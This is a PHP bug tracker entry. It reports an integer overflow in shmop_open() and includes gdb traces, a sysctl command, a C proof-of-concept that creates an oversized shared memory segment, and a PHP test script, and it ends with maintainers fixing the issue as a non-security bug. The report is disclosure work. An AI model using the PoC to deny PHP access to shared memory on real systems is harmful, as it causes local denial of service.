php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #79427 Integer Overflow in shmop_open()
Submitted: 2020-03-28 16:01 UTC Modified: 2020-03-29 19:54 UTC
From: bigshaq at wearehackerone dot com Assigned: cmb (profile)
Status: Closed Package: Program Execution
PHP Version: All versions OS: Linux
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: bigshaq at wearehackerone dot com
New email:
PHP Version: OS:

 

 [2020-03-28 16:01 UTC] bigshaq at wearehackerone dot com
Description:
------------
When running the following PHP code:

[PHP_SNIPPET]
$shm_id = shmop_open(1337, "c", 0644, 100 ); 
[/PHP_SNIPPET]

It creates an entry in the operating system's SHM with 100 bytes in it and an ID of 1337. BUT if this ID is already taken so it opens the existing one and the ``size`` changes from ``100`` to the original SHM size. If the original's SHM size is bigger than ``INT_MAX``, an integer overflow occurs. 

## Analysis

* 1st+2nd commands: showing the ``shm`` structure in memory.

* 3rd+4th command: demonstrating the differences in the types (``shm->shm_segsz`` is actually ``size_t`` but gdb makes it easier by following the typedef of ``size_t``, so it shows ``unsigned int``)
[GDB_SNIPPET]
(gdb) ptype shm
type = struct shmid_ds {
    struct ipc_perm shm_perm;
    size_t shm_segsz;
    __time_t shm_atime;
    long unsigned int __glibc_reserved1;
    __time_t shm_dtime;
    long unsigned int __glibc_reserved2;
    __time_t shm_ctime;
    long unsigned int __glibc_reserved3;
    __pid_t shm_cpid;
    __pid_t shm_lpid;
    shmatt_t shm_nattch;
    __syscall_ulong_t __glibc_reserved4;
    __syscall_ulong_t __glibc_reserved5;
}
(gdb) p shm
$1 = {shm_perm = {__key = 1337, uid = 1000, gid = 1000, cuid = 1000, cgid = 1000, mode = 420, __pad1 = 0, __seq = 9, __pad2 = 0, __glibc_reserved1 = 0, __glibc_reserved2 = 0},
  shm_segsz = 2147483652, shm_atime = 1585396834, __glibc_reserved1 = 0, shm_dtime = 1585398415, __glibc_reserved2 = 0, shm_ctime = 1585396778, __glibc_reserved3 = 0, shm_cpid = 12884,
  shm_lpid = 12897, shm_nattch = 0, __glibc_reserved4 = 0, __glibc_reserved5 = 0}

(gdb) ptype shm->shm_segsz
type = unsigned int 
(gdb) ptype shmop->size
type = int
[/GDB_SNIPPET]

as can be seen below, right now, the size is what we init in the PHP code(=100)
but an SHM entry with ID 1337 already exists, so the value that the operating system returned is ``INT_MAX+5``:
[GDB_SNIPPET]
(gdb) p shmop->size
$2 = 100
(gdb) p shm.shm_segsz
$3 = 2147483652
[/GDB_SNIPPET]

stepping to the next operation (``shmop->size = shm.shm_segsz; ``):
[GDB_SNIPPET]
(gdb) next 
(gdb) p shmop->size 
$4 = -2147483644
[/GDB_SNIPPET]

an integer overflow occurs.

It happens when ``shm_segsz``(part of the kernel's shmid_ds structure) is greater than INT_MAX. 
Due to this overflow, other functions like ``shmop_read()`` and ``shmop_write()`` can not be called because the structure is malformed with a negative number. It prevents PHP from accessing the OS's shared memory to read/write data and can lead to Denial of Service. 


## Steps to re-produce

If your shmmax setting is lower than INT_MAX (it depends, some systems has lower number and some bigger by default), you can modify it by running:
```
$ sysctl -w kernel.shmmax=2147483652
```

And then, create an SHM segment with a size bigger than INT_MAX (this is the malicious process that triggers the integer overflow):
[C_LANG_SNIPPET]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <errno.h>

#define SHM_SIZE 2147483652  /* INT_MAX+5 */

int main(int argc, char *argv[])
{
    int shmid;
    key_t key;
    char *shm;
    char *s; 

    key = 1337;

    shmid = shmget(key, SHM_SIZE, IPC_CREAT | 0644); // planting our overflow in the kernel's shmid_ds structure.
    if(shmid < 0)
    {
        printf("error getting SHM id\n\n");
        puts(strerror(errno));
        exit(1);
    }

    shm = shmat(shmid, NULL, 0);
    strcpy((char *)shm, "AAAAAAAAAAAAAAAAAAAA"); //example buffer

    return 0;
}
[/C_LANG_SNIPPET]

* compile & run the above, 
* to make sure the SHM entry was created, run:
[BASH_SNIPPET]
shaq@ubuntu:~/Desktop/shm-php$ ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x00000539 327683     shaq      644        2147483652 0
[/BASH_SNIPPET]

and then run the PHP Test script (provided below).
Because of the negative number that we injected(from the malicious process) into PHP's ``shmop->size ``, read/write operations will print weird errors like "offset out of range" even if the offset is in range. This will make the content inside the SHM entry "un-touchable" by PHP even if you run the PHP Test script with high privileges. 



Test script:
---------------
<?php
$shm_id = shmop_open(1337, "c", 0644, 100 );
echo "opened SHM handle...\n";
echo shmop_write($shm_id, "BBBB", 1) ? "Success" : "Failed";
shmop_close($shm_id);
?>

Expected result:
----------------
opened SHM handle...
Success

Actual result:
--------------
opened SHM handle...
PHP Warning:  shmop_write(): offset out of range in /home/shaq/Desktop/shm-php/poc.php on line 4
Failed

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2020-03-29 15:03 UTC] cmb@php.net
-Package: *Extensibility Functions +Package: Program Execution -Assigned To: +Assigned To: stas
 [2020-03-29 15:03 UTC] cmb@php.net
Doesn't really look like a security issue to me.  What do you
think, Stas?  If it's not, please assign back to me.

Anyhow, suggested fix (with ABI compat in mind):
<https://gist.github.com/cmb69/89ce5c762751ff069af7c9cf09779df7>
 [2020-03-29 16:41 UTC] bigshaq at wearehackerone dot com
-PHP Version: Irrelevant +PHP Version: All versions
 [2020-03-29 16:41 UTC] bigshaq at wearehackerone dot com
@cmb, In my opinion it's a security bug, but with low-cvss score. It prevents from a high-privileged PHP program to access/"monitor" the SHM of a low-privileged process. Instead of breaking the kernel's SHM permissions, the attacker can use this bug on the PHP layer. 

It also affects all version of PHP so the it makes the attack surface bigger.
 [2020-03-29 19:54 UTC] stas@php.net
-Type: Security +Type: Bug -Assigned To: stas +Assigned To: cmb
 [2020-03-29 19:54 UTC] stas@php.net
I don't see how it can be a security issue.
 [2020-03-30 06:59 UTC] cmb@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=a681b12820ee1556668087bc7866006ca5329635
Log: Fix #79427: Integer Overflow in shmop_open()
 [2020-03-30 06:59 UTC] cmb@php.net
-Status: Assigned +Status: Closed
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Mar 29 11:01:29 2024 UTC